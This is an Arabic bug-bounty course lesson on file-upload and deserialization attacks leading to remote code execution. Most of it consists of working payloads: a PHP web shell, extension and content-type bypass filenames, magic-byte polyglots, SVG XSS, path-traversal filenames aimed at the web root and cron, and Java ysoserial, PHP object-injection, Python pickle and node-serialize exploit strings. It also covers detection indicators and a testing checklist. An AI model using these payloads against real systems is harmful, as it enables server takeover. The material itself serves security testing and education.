تقنيات الاستغلال المتقدمة
هجمات رفع الملفات وإلغاء التسلسل
3 دقيقة للقراءة
رفع الملفات وإلغاء التسلسل هي متجهات هجوم عالية التأثير يمكن أن تؤدي لتنفيذ الكود عن بعد (RCE). هذه الثغرات تعطي باستمرار مكافآت حرجة.
ثغرات رفع الملفات
رفع Web Shell الأساسي
# PHP web shell
<?php system($_GET['cmd']); ?>
# احفظ كـ: shell.php
# ارفع كصورة ملف شخصي
# الوصول: https://example.com/uploads/shell.php?cmd=id
تقنيات التجاوز
تجاوز الامتداد
# تجاوز القائمة السوداء
shell.php5
shell.phtml
shell.php.jpg
shell.php%00.jpg # Null byte (أنظمة قديمة)
shell.pHp # تنويع الحالة
# امتداد مزدوج
shell.jpg.php
shell.php.jpg (مع خطأ تكوين Apache)
# التلاعب بـ Content-Type
غيّر: image/jpeg → application/x-php (في الطلب)
حقن Magic Bytes
# أضف magic bytes الصورة لملف PHP
GIF89a<?php system($_GET['cmd']); ?>
# أو أضف في البداية
echo -e 'GIF89a' | cat - shell.php > polyglot.php.gif
SVG XSS
<!-- ملفات SVG غالباً مسموحة كـ "صور" -->
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert('XSS')</script>
</svg>
<!-- أو مع onload -->
<svg onload="alert('XSS')">
سيناريوهات الاستغلال
| موقع الرفع | التأثير |
|---|---|
| جذر الويب | RCE مباشر عبر web shell |
| ملف المستخدم | Stored XSS عبر SVG/HTML |
| تخزين المستندات | استغلالات PDF/Office، XXE |
| مجلد النسخ الاحتياطي | path traversal + الكتابة فوق |
Path Traversal في الرفع
# التلاعب باسم الملف
filename="../../../var/www/html/shell.php"
filename="....//....//....//var/www/html/shell.php"
# الكتابة فوق ملفات حساسة
filename="../../../etc/cron.d/malicious"
هجمات إلغاء التسلسل
عندما تلغي التطبيقات تسلسل بيانات غير موثوقة، يمكن للمهاجمين تنفيذ كود عشوائي.
إلغاء تسلسل Java
# الكشف: بيانات Base64 تبدأ بـ rO0
# أو: AC ED 00 05 (hex magic bytes)
# الأدوات
ysoserial: ولّد الحمولات
java -jar ysoserial.jar CommonsCollections1 'id' | base64
# سلاسل gadget الشائعة
CommonsCollections1-7
Spring1-4
Hibernate1-2
إلغاء تسلسل PHP
// كود ضعيف
$data = unserialize($_GET['data']);
// هجوم: أنشئ كائن مع __destruct أو __wakeup
O:8:"ClassName":1:{s:4:"data";s:10:"id"}
Python Pickle
# ضعيف
import pickle
data = pickle.loads(user_input)
# حمولة الهجوم
import pickle
import os
class Exploit:
def __reduce__(self):
return (os.system, ('id',))
payload = pickle.dumps(Exploit())
Node.js node-serialize
# ضعيف: حزمة node-serialize
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id')}()"}
# الكشف: ابحث عن "_$$ND_FUNC$$_" في البيانات المسلسلة
تقنيات الكشف
إيجاد البيانات المسلسلة
# ابحث في:
# - الكوكيز
# - حقول النماذج المخفية
# - أجسام طلبات/استجابات API
# - رسائل WebSocket
# مؤشرات Java
rO0... (Base64)
AC ED 00 05 (raw hex)
# مؤشرات PHP
O:4:"User":1:{...}
a:2:{i:0;s:4:"test"...}
# مؤشرات .NET
AAEAAAD/////... (Base64)
الكشف الآلي
# استخدام إضافات Burp
# - Java Deserialization Scanner
# - PHP Object Injection Check
# قوالب Nuclei
nuclei -l targets.txt -tags deserialization
أمثلة المكافآت
| الشركة | نوع الثغرة | المكافأة |
|---|---|---|
| PayPal | Java deser RCE | 20,000 دولار |
| Uber | File upload RCE | 10,000 دولار |
| Yahoo | PHP object injection | 7,500 دولار |
| Airbnb | SVG XSS عبر الرفع | 3,500 دولار |
قائمة مراجعة الاختبار
رفع الملفات:
- اختبر جميع تنويعات الامتدادات
- اختبر التلاعب بـ content-type
- اختبر حقن magic bytes
- اختبر path traversal في اسم الملف
- تحقق أين يُخزن الملف (قابل للوصول؟)
- جرب SVG/HTML لـ XSS
إلغاء التسلسل:
- حدد البيانات المسلسلة في التطبيق
- حدد صيغة التسلسل
- اختبر مع ysoserial (Java)
- اختبر PHP object injection
- تحقق من المكتبات الضعيفة المعروفة
نصيحة احترافية: رفع الملفات + إلغاء التسلسل غالباً يتجمعان. ارفع حمولة مسلسلة، شغّل إلغاء تسلسلها عبر ميزة أخرى.
في الدرس التالي، سنستكشف Server-Side Template Injection (SSTI). :::